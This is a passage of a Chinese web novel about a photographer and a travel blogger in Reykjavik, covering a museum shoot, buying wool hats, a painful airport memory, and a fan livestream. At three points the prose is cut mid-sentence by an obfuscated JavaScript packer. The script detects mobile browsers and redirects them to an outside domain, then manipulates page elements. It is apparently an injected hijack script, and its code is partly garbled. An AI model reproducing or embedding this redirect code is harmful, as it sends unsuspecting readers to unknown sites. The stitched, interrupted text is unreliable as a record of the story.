状态很好,就像是一个很活泼很好玩的男大学生。 “By the way(顺带提一嘴),这个博物馆要提前在官网买票,每天的名额都是有限的。” 进店之后,陆朝深拿出云台稳定器,跟随麦朗移动。 “在每一个标本的后面,都有动物们的详细信息,比如这个,这是一只来自美国的黑熊,身高,身长,体重,甚至连出生地都详细都记录在这里。” “博物馆所有的动物都是自然死亡之后进行解剖的,不存在人为猎杀。” “还有各种鼠类的动物,需要用放大镜才能看到。” 博物馆不算大,但是几乎涵盖了所有常见的动物,天上飞的,海里游的,地上爬的。 最中间,麦朗站在一个巨大的玻璃筒的面前,两只手大打开都没法完全够着。 “这个是他们的镇馆之宝,大家可以猜一下,是哪个动物身上的?” “先暂时不说,”麦朗故作神秘,“今晚我们在微博直播揭晓。” 视频正式发布的时候,会在屏幕上设置好选项,和粉丝产生互动,这一招是陆朝深临时让他加的。 一切看起来都很顺利,麦朗在介绍中不断穿插正经的科普和自己的感受想法之类的,大概十分钟左右,动物展区已经浏览得差不多了。 接下来是人类的展示区。 陆朝深能看得出来麦朗开始变得有些紧张,但不是很明显。 “这个是...一位老人生前签署的自愿捐赠协议,去世后就被收藏在了博物馆里,这也是整个博物馆中第一份人类样本。” “诶,这个也很有意思,”麦朗指向一个玻璃瓶,里面没有任何东西,只有透明的溶液, “Elves of Iceland...翻译过来就是冰岛的精灵。”麦朗仔细看了看标签。“我们都知道,店里的所有的器官都泡在了福尔马林里,这个精灵的也不例外。” “到底是真的还是假的,我也不知道,毕竟谁都没有看过到精灵。” 之后就是各种人种,麦朗看起来还算正常,有条不紊地介绍,不过这一节只能放到youtube里面。 直到在一个玻璃柜前停下了。 “呃..” 麦朗想了半天,吐出几个字:“这些银色的柱体...嗯..” 陆朝深定睛一看,玻璃柜里摆放了一些长度和大小都差不多的银色小柱子。 这个他很熟悉,刚才在纪录片里是着重介绍过的。 “嗯...” 麦朗彻底卡壳,这次没有上脸,而是脖子。 几乎是以肉眼可见的速度红透了,麦朗很无措,向陆朝深抛来求助的目光。 陆朝深反应过来,也顾不上镜头稳不稳了,轻声笑了笑。 原来是这个。 柜子里的东西不重要,重要的是玻璃柜上贴的合照。 一张排球运动员的合照。 陆朝深没有停止录像,推进镜头,照片上的简介清晰可见。 “照片上的成员属于冰岛的排球国家队,”陆朝深在幕后解围,“合影拍摄于2008年,他们首次代表冰岛在北京奥运会上斩获了一枚银牌,对于整个国家来说,非常有纪念意义。” “大家现在看到的柜子里的东西,就是这些排球运动员们,一比一复刻出的模型。” 陆朝深说完,悄悄地把镜头转向有些拘谨但又听得很认真的麦朗。 至此,博物馆的视频素材已经收集完成。 麦朗先出了门,清爽冷冽的空气灌入领口,给脖子降了降温。 刚才陆朝深在幕后讲解的时候,他突然能理解到,为什么有人这么喜欢拍照了。 人天生会被美好的事物给吸引。 陆朝深侃侃而谈的样子很有人格魅力,明明只是事先看过一遍,他却没法这样精确而又流利地表达出来。 看起来大大方方,毫不扭捏。 肩膀搭上了一只手,麦朗回过头,陆朝深已经收拾好相机,对他说:“你刚才的表现很棒,满分100分的话,我给你120分。” “哥,”麦朗没有立马回应,而是对着陆朝深很认真地说, “我想学摄影。” 陆朝深笑着问:“怎么突然想学摄影了?” 麦朗心直口快:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14183551|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我想拍你。” “拍我?” “嗯,拍你。” 中气十足的回答。 陆朝深也没多想,便说:“好啊,我之前已经教过你了一些了,之后有机会多实践就行了,技术会慢慢好起来的。” 麦朗毫不含混地“嗯”了一声,放在班里就是那种很听话的学生。 出了丁丁博物馆,剩下的游玩项目几乎都挨在了一起。 之前还在丹麦的时候,陆朝深就有过这种感觉,走在街上像是来到了另一个维度的世界。 彩虹街比照片上还要好看,陆朝深默不作声地稍微把距离拉开了一点。 麦朗没有察觉到,突然问:“哥,我想问你一个问题。” “你问。”陆朝深说。 麦朗:“你怎么看待性少数群体?” “没有看法。”陆朝深实话实说。 除了违反法律和道德,他向来对所有事情都有极高的包容度,性取向这种事情根本不值得一提,因此他很不理解一些反同人士的言论。 你可以恐惧和厌恶,甚至在生活中可以远离,避之而不及,但如果因为讨厌而不断在网上发表打压和歧视的言论,属实是没有必要。 这些年发生的事情让他觉得,任何人都有可能在某些时刻成为某种意义上的“少数”,很多人都不明白这个道理。 “你呢?”陆朝深问。 “理解且支持,”麦朗说,“上大学的时候,身边也有朋友是gay和les,而且还有好多男生给我表白。” 说到表白这件事情,麦朗的脸上并没有任何厌恶,但同时也非常隐蔽地划分好了界限。 你可以表白,但是和我没有关系。 因为我不是。 陆朝深调侃:“看出来了。” “嘿嘿,”麦朗看了眼陆朝深,“我打包票,你在大学里肯定很受欢迎。” 那个时候的陆朝深是什么样的呢? 会不会也是现在这般成熟稳重,像大家长一样靠谱。 “嘴巴还挺甜,”陆朝深默认为商业吹捧,“走吧,先拍几张再说。” 彩虹街可以说就是一个打卡地,不长,地上的粉刷漆甚至已经掉了点颜色,街道旁边有很多精美的小店。 麦朗之前接到的那家户外羽绒服也在这里,店的名字叫Myjuk,里面除了羽绒服,还有大量的羊毛制品,比如羊毛衫,羊毛做的外套,手套和帽子,所有的的保暖用品都有。 冰岛也算是骑在羊背上的国家,据说整个国家的羊的数量和人口一样多。 麦朗提前联系了店家,进了店之后,很快就拿到了衣服。 “白色的是我的,”麦朗一手提了一个大大的纸袋,“另一套黑色是你的。” 陆朝深往袋子里摸了摸,满意地点点头:“这个材质还不错,之后再试试保温效果。” 背后的墙上挂了很多羊毛针织帽,麦朗选了一顶黑色的,很巧的是,上面还印了一个类似“M”的logo。 陆朝深以为他要戴,刚想拿起相机,麦朗突然靠了过来。 下一秒,一双大手撑开了针织帽,陆朝深很快就感受到了被羊毛裹挟的温暖,帽子做工很精良,戴的时候完全感受不到任何被扎的感觉。 麦朗的手挨着他的耳边,没放开。 耳朵有点烫。 额前的碎刘海被压了下来,发丝挡住了一部分视线。陆朝深只能看到麦朗外套上的拉链,小齿排列整齐,像拼图一样被拉链头合到了一起。 陆朝深怔了怔,微微抬头,上方的灯光照在脸上。 宁静的眼睛第一次变得非常灵动。 麦朗怕把手放开,陆朝深抬头的姿势会变,只好一只手托着他的脸,另一只手拿起手机。 用算不上美观的镜头语言,隐晦地表达自己也说不上来的想法。 他顾不上那么多,这个样子的陆朝深,经得起任何角度的审视。 “哥。” 麦朗看着陆朝深,语气沉沉的,声音很轻。 “一定有很多人夸你好看。” 20.天空 陆朝深微微别开脸,脱离了麦朗暖和的手,转身去照镜子,明知故问:“真的吗?” 镜子先给了答案,麦朗说得没错,这顶帽子很适合他,戴起来感觉年龄小了五岁。 “真的啊。”麦朗把照片展示出来,“你看,我的技术是不是比之前好很多了,不过我觉得主要是你长得好看,不然也拍不出这样的效果。” 陆朝深唇角含着笑,照片和之前比肯定是好了不少,至少脸没有变形。 但是被人抚摸着脸..... 氛围有点奇怪,怎么感觉有点可怜? “进步很大,”陆朝深无视自己内心的想法,视线也在墙上游走。 “你也买一个吧,”陆朝深说,“哥送你。” 麦朗也不客气,搓了搓手:“那我可要好好选一选了。” 以他的脸和气质,驾驭各种颜色的帽子都不成问题。陆朝深本以为他会选一些花里胡哨的,没想到最后还是拿了一顶简约普通的白色针织帽。 麦朗试了试,偏卷的头发被压住了。 “我挺喜欢这个的,”麦朗冲陆朝深笑了笑,“哥你觉得好看吗?” 帽子有一边稍微有点歪,陆朝深上手扶正,端详着说:“很好看。” 作为教学示范,陆朝深一只手扶着针织帽的边缘,另一只手拍照,麦朗微微垂着眼,很配合,没有动。 陆朝深拍完后现场指导:“来看看,人物上方要留出足够的位置,这种正脸照要居中,但是你的手不属于我的脸的一部分,所以会感觉有些不协调,不过问题不大,裁剪一下也看不出来。” “你再看我这一张,”陆朝深把两个手机放在一起,“有没有发现不一样?” 麦朗观察得很仔细,陆朝深拍得确实要比他好看一点,但他又说不上到底是哪里不一样。 “就是感觉你拍得比我好。”麦朗说。 “那是因为角度不同,”陆朝深开始上课,“手机倾斜的角度要根据对方的脸型来,这样能减少后期修图的工作量,比如你刚才就举的有点太高了,我的脖子少了一大半,看起来体重脚轻很不协调,而且脸显得也比较大。” “哦~!”麦朗恍然大悟,“原来是这样。” 也不知道是否真的听懂了,麦朗拿出手机跃跃欲试:“那我重新来一遍?” “啊?”陆朝深愣了一下,还没有所行动,麦朗的手又上了脸。 这次拍完,麦朗没给陆朝深看,什么也不说,自己揣包里先走了。 出了彩虹街,天还没有暗下来的意思。冰岛的昼夜全年都分布不均匀,夏天的白天很长,长到有的人以为白天不是那么珍贵。 街上的人比想象中的要多很多,陆朝深倒是觉得,大家都在为之后漫长的极夜做准备。 如果冰岛真的存在精灵与魔法,说不定路边就有贩卖阳光的商店,像电池一样,冰岛的居民会买上几个放在家里。 至少陆朝深是会买的。 按照惯例,每到一个新的地方,除了打卡景点,最重要的就是吃。因为比起成都,这里能对国人口味的食物真的不多。 雷克雅未克的美食都集中在一个区域,到最后一个餐厅的时候,麦朗去了趟洗手间。 熟悉的提示音响起,陆朝深皱了皱眉。 这是继游轮之后的第二次。 陆朝深立马把钱转了回去,但对面比陆朝深还固执,又换了一个卡号转了过来。 看着那个陌生的银行尾号,陆朝深心里久违地升起一股烦躁。 “走吧,哥。”麦朗擦了擦手上的水,观察着陆朝深的表情,“你想休息了吗?” “我不累,”情绪被瞬间收回,陆朝深恢复如初,“你按照计划来就行。” 麦朗半信半疑:“好吧,那我们先去把车租了。” 在环岛旅行中,一辆好车必不可少。为了支持旅游业的发展,雷克雅未克有许多专门的租车公司,其中有一家叫Potos,是华人同胞创办的,沟通很方便,麦朗选了一辆达西亚四驱,比较适合冰岛复杂的路况。 注意事项很多,麦朗认真地听租车老板说了一大堆,一只手揣在兜里,看起来像个稳重的大人。 整个过程花了半个多小时,麦朗出来的时候,食指上转着一把车钥匙 “今天我们就不去其他地方了,”麦朗说,“我带你去个地方。” 陆朝深上了副驾驶:“怎么不让我猜一猜了?” 车里很安静,麦朗打开车窗,笑了笑没说话。 出了市区,雷克雅未克变得人烟稀少,车上开了一会儿,在一片很开阔的区域附近停下了。 地上到处都是石子,杂草丛生,面前的铁丝围栏里是一大片宽敞的飞机跑道。 “凯夫拉维克机场。”陆朝深很平静地说。 “没错,”麦朗说,“哥你要不要现在猜一猜,我们要干什么。” 小孩啊小孩。 陆朝深的眼睛轻轻地弯着,说:“肯定是看飞机起飞。” 麦朗挑眉:“猜对咯。” 陆朝深对此并不陌生,曾经他有个朋友也喜欢跑来机场看。 突然,一阵轰鸣声传来。 “哥,”麦朗指着不远处的天,“看上边。” 陆朝深闻言,抬起头,顺着手指的方向望去,白色的云朵堆成了很大一团,像是麦朗喜欢的吃的那种棉花糖,还有一轮淡淡的月亮挂在旁边。 不一会儿,一架飞机冲出亮橙色的天,即将经过上空。 麦朗看起来很开心,脸上的笑容挤进余光,陆朝深还看出了一些期待。 他自认为自己把情绪收敛得很好,但麦朗还是察觉到了他那一瞬间的烦躁,所以想找个法子,希望能让他开心一点。 陆朝深在心里说了声谢谢,他真心觉得麦朗是个善良的小孩儿。 只是麦朗不知道的是,其实他很少看向天。 这也不是他第一次站在机场外围看飞机起飞。 最痛苦的日子已经过去了,但并不代表消失,陆朝深一言不发,或许是这段时间没那么忙,记忆的封印被彻底打开。 他又短暂性地,且不可避免地回想过去。 记得是在搬家之后的某一天。 齐颜诗义无反顾地要离婚,闹得鸡飞狗跳,出国之前,她问谁愿意和她一起走。 除了安迪,剩下的弟弟妹妹们都留在了成都。 陆朝深就算很舍不得,但他能怎么选? 结局注定是不欢而散的。 陆安迪悄悄给陆朝深说了航班的日期,离开的那天,陆朝深一个人偷偷跟着去了机场。 天上的云乌压压的,很厚,感觉随时都会下倾盆大雨,彻底垮下来,空气被无形地被压缩,路上沉闷无风。 他不知道是自己隐藏得太好,还是齐颜诗不想再看到他,跟了一路,对方也没有回过头。 机场人很多,他进不了候机厅,只能隔着一块厚厚的玻璃,离得很远,看着齐颜诗和陆安迪登机。 玻璃上映出自己的影子,陆朝深眼睛逐渐失焦,曾经不止一个人说过他长得像妈妈,尤其是那双秀气温柔的大眼睛,特别有神。 被人夸了无数次的“妈生鼻”,却在此时呼不上气。 为什么? 为什么要分开? 陆朝深想问也问不了,只能蹲在地上捂着嘴,无声地哭,越哭越难过,眼泪模糊了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14193023|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关闭的登机口,像是看完了一整篇诀别书。 所有人都忙着赶行程,人影交错,时间在他周围形成了相对的静止。 飞机起飞的时候,陆朝深就站在机场外面。 抬起头,看向天,飞机以几百公里每小时的速度穿过城市上空。涡轮搅动着高空平稳的气流,毫无顾忌地划破云层。 心从此长出来一个窟窿,永远都填不满。 后来,陆谦消失在家里,那个窟窿才进而变成了一条巨大的缺口。 陆朝深每次回想起这段过去,就会有双手沿着缺口将心撕裂,痛得他喘不过气。 父母留下的那点钱根本不够他和弟弟妹妹生活,陆朝深也不好意思向朋友借钱,他关掉了朋友圈,删掉了所有社交平台,只留下工作号和电话,避免太多的光鲜亮丽把他刺得生疼。 因为他过去是幸福的。 人生的轨迹发生了巨大的偏移,为了养活家人,他开始疯狂地写剧本,不断投稿,一有空就去剧组帮导演打杂。 看着幕后中心的人指挥全场的时候,陆朝深也会沉默。 原本只能算是“计划”之内的事情,现在却变成了遥不可及的梦想。 身体和心都开始麻木,陆朝深一边熬夜写着毕业论文和作品,一边学校,家里,工作,三点一线。不可避免地变成了一个循规蹈矩的大人。 他没有办法,弟弟妹妹不能没有他。 陆朝深讨厌失序,他想让生活恢复到正轨,把自己压榨成一个机器,填补到父母缺失的位置。 后来的每一个早上,陆朝深都会去楼下买弟弟妹妹们最喜欢吃的鲜肉馅小笼包,提前做好和以前一样的煎蛋,再在上面淋一点酱油。 他会时刻关心陆雅的学习情况,亲自筛选教辅资料,陪她散心。会抽出时间,带陆芷去她想去的漫展,为她和COSER们合影留恋。会选一套最好看最正式的衣服去开家长会,会在陆半夏睡觉之前讲他喜欢的童话故事。 送到幼儿园门口的时候,陆朝深还会亲吻他的额头,告诉他,五点半,大哥会来准时接你。 一切都看起来很规律,没什么太多的变化。 错乱的只有陆朝深自己。 不知道是太困了还是太累了,陆朝深经常早上起来对着镜子发呆。 看着那双痛苦又劳累的眼睛,慢慢地失去灵性,慢慢地归于沉寂,枯萎,最后变得平静。 棕色的瞳孔不再是深厚的土壤,长不出草木,变成了和落叶一样的颜色。 好几次洗脸的时候,陆朝深挤了满手的洗面奶,用力揉搓着脸,气急败坏。 好像这样就能洗掉脸上的狼狈,好像下一秒就会变得和原来一般意气风发。 陆朝深不认为自己是一个很有钝感力的人,他的内心世界其实很敏感,但是哭太浪费时间了,一低头就会止不住情绪,眼泪哗哗地流。 任何人都可以随意地陷入情绪的漩涡,唯独他不可以。 他没有那么多时间,每一次想哭的时候就会习惯性地仰着头,眼泪会憋回去。 直到有一年冬天,成都出了一次大太阳,他抱着年幼的陆半夏坐在顶楼的椅子上,脑袋里面幻想着一些不切实际的东西。 陆半夏喜欢用小手摸摸他胡子拉碴的下巴,也不觉得扎,然后默默地抱住他。 冬天的太阳小小的,像一颗灯泡,陆朝深仰望着天空,身上感受不到任何温暖。 他叹了口气,吐出的白雾瞬间消散,像是在妥协。 他不选择责怪父母,不选择抱怨生活,不选择期待,不选择指望着自己还能成为所有人口中的“大导演”。 他终于下定了决心,选择接受自己的命运。 21.直播 飞机驶出视野范围,机场附近的风还是没有停止,陆朝深把衣服拉到最顶端,领口遮住了半张脸,眼睛被吹得微微湿润。 没有什么是永远的,每个人都有每个人的路。 这句话适用于任何关系。 陆朝深没说话,就安静地看着前方,麦朗好几次看向他想问什么,但又怕让陆朝深想起不开心的事情,嘴巴微张,又闭上了。 “想问什么就问呗,”陆朝深突然笑着说,“我又不会吃人。” 小动作和小心思都被识破,麦朗边察言观色,边问道:“我想知道你心情不好的原因。” “这有啥的,”陆朝深说,“直接问就是了,不用那么客气。” “其实也不是什么很严重的事情,我家的情况你了解得有多少?” 麦朗想起之前偷看陆朝深的朋友圈:“知道个大概。” “我家的情况很复杂,父母一直都不在身边,那条转账是我爸转来的,但我不想收。” 陆朝深平铺直叙,感觉像是在说一件和他毫不相关的事情:“因为这笔钱出现的时间太晚了,不合时宜,像是上辈子的事情还没了结,我觉得没有必要。” 麦朗听得很认真,说:“但他还是执意要转过来吗?” “嗯,”陆朝深说,“游轮上已经转过一次了。” “这我知道。”麦朗说。 陆朝深转过头看着麦朗,搂住了他的肩膀,很好奇:“你知道?” “嗯哼,”麦朗小小得意:“你的脸上几乎不会有任何的负面情绪,顶多就是玩累了,看得出来一点疲倦。” “但唯独这两次,我很明显地感觉你有点烦这个事情。” 陆朝深手搂得更紧了些,默认了这一回答。 他虽然记性不太好,但在有些事情上一点都不马虎,从皮划艇上打结的救生衣,到赶路时大大小小的行李,再到游轮的那杯没喝到的“日不落”。 不可否认的是,他一直把麦朗当做一个小孩儿,毕竟年龄差摆在那儿,但更多的时候,反倒是他一直在被麦朗照顾。 “我是这么想的,来一次北欧不容易,以后可能就很难再抽出时间了。”麦朗说。“人生好长好长啊,还有那么久。” “所以我希望你能一直开心,就算可能不会实现,那至少和我在一起的时候能高高兴兴的。” 陆朝深本来想说这是不可能的事情,想了一下还是忍住了,点了点头。 “谢谢你,Mikel。” 麦朗一副很轻松的样子:“嗐,哥你真不用谢...” “谢谢你今天带我兜风,”陆朝深说,“你真的是一个特别好的男孩儿。” 麦朗闭嘴了。 “和你做朋友是一件很幸运的事,”陆朝深认真地说, “我很喜欢。” 这些话带着真情实感,麦朗也没想到陆朝深会这样说,心里很开心的同时,嘴巴像是被封住了,一时间不知道该说什么。 麦朗快速眨了两下眼睛,插在兜里的手快拧成了麻花。 “好的..呃..没..没事,不用谢。” 说完后,一个转身就先上了车。 陆朝深在后面走着,像是想到了什么,眉梢一弯,轻轻地笑了笑。 - 开出机场之后,麦朗稍微加速,车载的智能助手突然大叫了两声,把陆朝深吓一大跳。 智能播报的语言还没被调成中文,发出机械的声音:“Please be careful,Please be careful,ICELAND has low tolerance for speeding(请注意,请注意,冰岛对超速的容忍度很低)” 陆朝深看了一下,冰岛限速很严格,只要是超过了规定速度的1km/h以上,都要被罚款。 麦朗放缓速度,语言组织能力恢复到了正常水平:“哥,我有个事情想问一下。” 陆朝深:“你说。” 麦朗:“你会开车吗?” “肯定会啊,”陆朝深觉得有点不可思议,“我现在可是驾龄七年的老司机了。” 麦朗:“哦,那就好。” “怎么了,需要我来开车吗?”陆朝深问。 “我只开得来很宽敞的大马路,”麦朗说,“后续环岛自驾的话,可能要你来。” “没问题,之后环岛我来开,”陆朝深说,“也该我来了,别什么都自己抢着干,你是我导游,又不是我保姆。” “好嘞,”麦朗答应得很爽快,“还有个事情,你今天给我说,要开始在微博直播了,那到时候我该说些什么呢?” 陆朝深想了一下:“随便说什么都行,直播就相当于和粉丝闲聊,粉丝肯定会问问题,你只需要回答就行了。” “那万一…..” 麦朗单方面地觉得气氛有点微妙,万一全都是那种评论呢? 他遇到这些东西不亚于吸血鬼见光死。 “这个呢…” 陆朝深低着头,抿着嘴。 他发现到了北欧之后,自己不仅变得幼稚,笑点也变得很低,随时都想笑。 陆朝深假装没看到麦朗疑惑的表情,缓了一会儿,说道:“不用担心,大部分都不会太过分的,太过分的也发不出来。” 麦朗认命:“好吧。” 一路龟速,回到民宿,麦朗在粉丝群里通知明天要直播的事情,然后又发了一组照片。 陆朝深已经彻底失去对麦朗照片的控制权,只能由着他胡来。 今天在Myjuk的时候,陆朝深就有预感,麦朗绝对会把他那两张照片发出去。 事实也不出所料,麦朗通知完就发了,这次没有用拼图,两人的戴针织帽的照片在一头一尾。 中间的照片包含了雷克雅未克的其他景点,比如麦朗在哈尔格林姆教堂门前荡秋千,雷克雅未克人气第一的肉桂卷,夕阳时刻看的飞机,后面还有一张不知道是什么拍的,陆朝深看向天空的侧脸。 还好,关于他的就只有两张。 麦朗很少回复粉丝们的评论,这次也不例外,只回复了一条。 「E了KA在敷面膜」:看起来好好玩! 明天直播新朋友会出镜吗? 「麦朗Mikel 」在两分钟前回复:要看新朋友想不想了 陆朝深在心里回复:婉拒了谢谢。 国际惯例,陆朝深依旧很谨慎地寻找有关自己的评论。 「Magareq」:我受不了!好喜欢P9的新朋友,上一张还是清冷熟男,这张就变味了(好色好色好色) 「NPC修炼手册」:极度怀疑P9照片不是麦麦子拍的。 「玥字山」回复:这张照片应该是三个人共同完成的,Mikel只贡献了一只手。 下面甚至还有一张火柴人示意图,陆朝深看乐了,把照片保存了下来。 「挺好」:那个肉桂卷看起来还不错耶,雷克雅未克真的是美食荒漠吗? 「素质天下第一好」回复:这两个人在,就不是美食荒漠噜(狗头) 「BObobo季」回复:宝宝你好会说,建议MIkel把自己送上冰岛必吃榜 「去夜店只点克里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14200573|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯蒂安」:新朋友也可以一起 「麻辣香锅」回复:你们真的不要太荒谬了 陆朝深给这位“麻辣香锅”点了个赞,心想这评论区也不止荒谬一两天了,他已经彻底习惯。 就是不知道麦朗看到又是个什么表情。 冰岛和国内有八个小时的时差,第二天下午,麦朗准时在微博开播,国内时间差不多十点多的样子,刚好卡在大部分粉丝们洗完澡后躺在床上或者沙发上,刷微博的时候。 陆朝深在客厅,没进房间,平板上一边看麦朗的直播,一边整理视频素材。 屋里开着暖气,麦朗坐在卧室桌前,直播的机位被提前调好,穿搭也经过了陆朝深的精心设计,还是老朋友:上半身只穿一件紧身的运动背心,脖子上戴一根银色链子。 由于昨天已经在粉丝群通知过了,好多粉丝都提前等着,麦朗一开播,数万人迅速挤了进来。 各种礼物眼花缭乱,麦朗说了句:“大家不用刷礼物了,聊聊天就好。” 评论区变得更加热闹,开始妖魔化,麦朗的脖子开始慢慢变红,逐渐蔓延至耳根,一句话也不说。 “老公你喝酒了?” “脖子怎么红了哈哈哈哈哈哈哈” “老公你说句话啊哈哈哈” 麦朗一直不说话,再这样下去就会变成直播事故了,陆朝深立即发了条微信。 Luka:不要紧张,平常心。 Luka:我现在假装粉丝提个问题,你直接回答就好了。 麦朗看向手机屏幕上方的消息通知,对着屏幕比了一个OK。 不一会儿,麦朗在清一色的荤段子中找到了陆朝深的评论。 “冰岛那边现在是几点呀” 麦朗抓住救命稻草:冰岛现在是下午两点,和国内有八小时的时差。 “丹麦的视频多久放出来啊,想看想看!” 麦朗:很快了,这周之内。 陆朝深发了几条之后,粉丝们也开始问问题互动。 “新朋友今天不会来了吗?” 麦朗笑了笑:新朋友现在很忙,后面有机会会一起直播的。 “啊啊啊Mikel的声音今天怎么听起来奶奶的。” 陆朝深心里回复:今天太紧张了。 “看我看我!我就一个问题,下次游泳的时候,不要穿那件碍事的泳衣可以吗?” 陆朝深笑得想在地上打滚:哈哈哈哈哈哈哈哈哈 “新朋友现在是新聘的摄影师吗?” 麦朗:对,北欧的旅行都会一起。 说到北欧旅行,麦朗开始透露了后续的一些计划:“冰岛之后,我们可能会去挪威和芬兰,有时间的话会去瑞典。” 聊了一会儿,陆朝深本以为没什么问题了,在一众调戏中,突然出现了一条很突兀的评论。 “大家快看微博热搜!!” 顷刻间,弹幕的风向就彻底变了,直播间的观看量突然暴涨。 “就是他吗?” “确实看起来挺不错诶” “我怎么记得他不是漂亮国的职业排球队员吗?怎么跑这里来当小白脸了” “没想到还是西餐啊哈哈哈哈” 粉丝们看得很不爽:“某些人的发言是怎么回事?” “怎么了还说不得了,就是在擦边啊” 就在争执即将进入白热化阶段的时候,麦朗的屏幕被一个巨大的动画刷屏了。 一位叫做“天黑请闭嘴”的用户,一次性刷了十个布加迪威龙(折合人民币10000)。 世界安静了。